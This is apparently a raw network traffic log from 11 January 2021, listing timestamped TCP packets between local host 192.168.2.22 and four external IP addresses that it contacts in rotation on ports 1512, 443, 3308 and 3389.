Jan 11, 2021 20:48:23.734947920 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.741764069 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.741825104 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.741921902 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.741967916 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.759861946 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.813919067 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.814106941 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.823199987 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.823368073 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.876256943 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.876516104 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.915497065 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.929692030 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.929759026 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:24.031111002 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:24.031158924 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:24.031368971 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:24.038211107 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:24.091610909 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:24.143582106 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.195199966 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.195347071 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.196603060 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.248089075 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.263045073 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.263179064 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.279192924 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.333082914 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.333416939 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.343877077 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.344296932 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.395752907 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.396024942 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.435120106 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.447519064 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.447536945 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.565926075 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.565982103 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.566556931 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.573091030 CET	49241	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:24.624957085 CET	443	49241	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:24.697818995 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.741230011 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.741352081 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.742892981 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.785995007 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.796828985 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.796912909 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.796962976 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.796988964 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.811630964 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.856667995 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.856915951 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.867372036 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.867671967 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.910952091 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.911107063 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:24.950375080 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.954319000 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:24.954345942 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:25.066910982 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:25.066958904 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:25.067177057 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:25.072763920 CET	49242	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:25.116056919 CET	3308	49242	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:25.191751003 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.246706963 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.246826887 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.248277903 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.302865982 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.335002899 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.335067034 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.335163116 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.335201979 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.347182035 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.406765938 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.407032013 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.416223049 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.416373014 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.470499039 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.470853090 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.509809971 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.525520086 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.525582075 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.615361929 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.615442038 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.615550041 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.619040966 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.621108055 CET	49243	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:25.675566912 CET	3389	49243	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:25.738559961 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.791824102 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:25.791958094 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.793494940 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.846435070 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:25.853296995 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:25.853374004 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:25.853379011 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.853421926 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.863230944 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.917253017 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:25.917335033 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.925601959 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.925760984 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:25.978705883 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:25.978796005 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:26.015533924 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:26.031836987 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:26.132261038 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:26.132339001 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:26.132647991 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:26.136985064 CET	49244	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:26.189774036 CET	1512	49244	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:26.249028921 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.301023960 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.301110029 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.301737070 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.353621960 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.370615005 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.370716095 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.386790037 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.440888882 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.441147089 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.446679115 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.446820021 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.498627901 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.498847008 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.550749063 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.669305086 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.669363022 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.669517994 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.671766996 CET	49245	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:26.723613024 CET	443	49245	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:26.783860922 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:26.827245951 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:26.828737974 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:26.829778910 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:26.872833014 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:26.884547949 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:26.884572983 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:26.884763002 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:26.901140928 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:26.947086096 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:26.947284937 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:26.960946083 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:26.961438894 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:27.004661083 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:27.004991055 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:27.043987989 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:27.048235893 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:27.048295975 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:27.161338091 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:27.161366940 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:27.161623001 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:27.165932894 CET	49246	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:27.209089041 CET	3308	49246	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:27.283724070 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.338182926 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.338287115 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.339494944 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.395585060 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.420707941 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.420769930 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.420929909 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.420985937 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.431057930 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.501199961 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.501542091 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.508065939 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.508191109 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.562374115 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.562756062 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.601701021 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.617271900 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.617300987 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.706444025 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.706481934 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.706792116 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.712295055 CET	49247	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:27.766506910 CET	3389	49247	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:27.829163074 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:27.882314920 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:27.882466078 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:27.884044886 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:27.937166929 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:27.943958998 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:27.943986893 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:27.944045067 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:27.954438925 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.008536100 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:28.008791924 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.018812895 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.019253016 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.072349072 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:28.072570086 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.113040924 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:28.126420975 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:28.223654032 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:28.223680973 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:28.223737001 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.223766088 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.229300976 CET	49248	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:28.282449007 CET	1512	49248	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:28.339195013 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.391640902 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.391763926 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.393104076 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.445255995 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.459825993 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.459912062 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.472945929 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.527447939 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.527739048 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.537425041 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.551054001 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.603382111 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.603619099 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.643311977 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.655822992 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.774513960 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.774560928 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.774842024 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.780313015 CET	49249	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:28.832427025 CET	443	49249	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:28.890336037 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:28.936146975 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:28.936269999 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:28.937684059 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:28.980789900 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.000097036 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.000144005 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.000181913 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.000221014 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.016040087 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.063004971 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.063102007 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.073223114 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.073570013 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.116802931 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.117142916 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.156930923 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.160408020 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.160465956 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.273195028 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.273247957 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.273624897 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.279185057 CET	49250	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:29.322462082 CET	3308	49250	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:29.385540009 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.439517021 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.439636946 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.441118956 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.494863987 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.527147055 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.527229071 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.527276993 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.527328014 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.541227102 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.601126909 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.601392031 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.610652924 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.610827923 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.664782047 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.665128946 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.704519033 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.719722986 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.719777107 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.808643103 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.808711052 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.808851957 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.808871984 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.815124989 CET	49251	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:29.869071007 CET	3389	49251	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:29.935543060 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:29.988833904 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:29.988975048 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:29.990586996 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.043518066 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.050173044 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.050208092 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.050256014 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.050297976 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.065161943 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.119251013 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.119345903 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.123230934 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.123384953 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.176469088 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.176841021 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.215564013 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.229813099 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.229835033 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.330717087 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.330749989 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.331043005 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.336855888 CET	49252	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:30.389899015 CET	1512	49252	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:30.450783968 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.557673931 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.557760954 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.559076071 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.610618114 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.625606060 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.626476049 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.633941889 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.688152075 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.688250065 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.692234039 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.692378044 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.743851900 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.744039059 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.783376932 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.795818090 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.914501905 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.914531946 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:30.914760113 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.920387030 CET	49253	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:30.972258091 CET	443	49253	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:31.043360949 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.086899042 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.087037086 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.088530064 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.131830931 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.146086931 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.146148920 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.146212101 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.146250010 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.162564039 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.207561016 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.207647085 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.211621046 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.211766005 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.254868984 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.255047083 CET	49254	3308	192.168.2.22	80.86.91.27
